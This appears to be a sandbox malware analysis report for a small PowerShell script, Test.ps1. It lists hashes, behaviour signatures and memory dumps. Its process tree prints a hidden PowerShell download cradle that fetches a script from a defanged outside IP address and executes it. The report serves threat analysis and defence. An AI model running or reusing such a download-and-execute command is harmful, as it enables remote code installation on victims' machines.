c7b15b54c005c50148ca4fd1ceefe0a0d92bf88160aaf4227d5dcb491e222e4d

Resubmissions

19/03/2024, 16:38

240319-t5q13ahc8y 1

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
19/03/2024, 16:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Test.ps1
Size

117B
MD5

4f60861d22bcfd6a3ead487152fb3d80
SHA1

d48998cdcc17907319d889b74e0d3473eeb8ee62
SHA256

c7b15b54c005c50148ca4fd1ceefe0a0d92bf88160aaf4227d5dcb491e222e4d
SHA512

5c5a942e1c9d0d4e48c77b08f7a244b36802c684f23e9cd82b0c039b743bfba0c60b90860ebfc87ea588699829f420411a4453787a85c60364db0069b3f61856

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1668	powershell.exe
2532	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 2532	1668	powershell.exe	29
PID 1668 wrote to memory of 2532	1668	powershell.exe	29
PID 1668 wrote to memory of 2532	1668	powershell.exe	29

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\Test.ps1
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://194[.]165[.]16[.]55:80/a'))"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2532

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
072b8f960ce4543d042704b9cccec2b3

SHA1
eac9108135062103759a0c251e18da1f9b568b65

SHA256
146a8efeca2e11ebc7b8e71daa19371c20a5686ba0d5605c94b111b20111a9e5

SHA512
09a977235a939c057724f0a6b450ed9966b64fb5ae01452131b61290934b891f4725be50ace2357b4247992510a0a862c312ecfd6dfa539c04ddbef3ba7efe69

Download Submit
memory/1668-10-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/1668-7-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/1668-5-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/1668-8-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/1668-9-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-4-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-11-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/1668-6-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
memory/1668-21-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-17-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-18-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2532-19-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2532-20-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download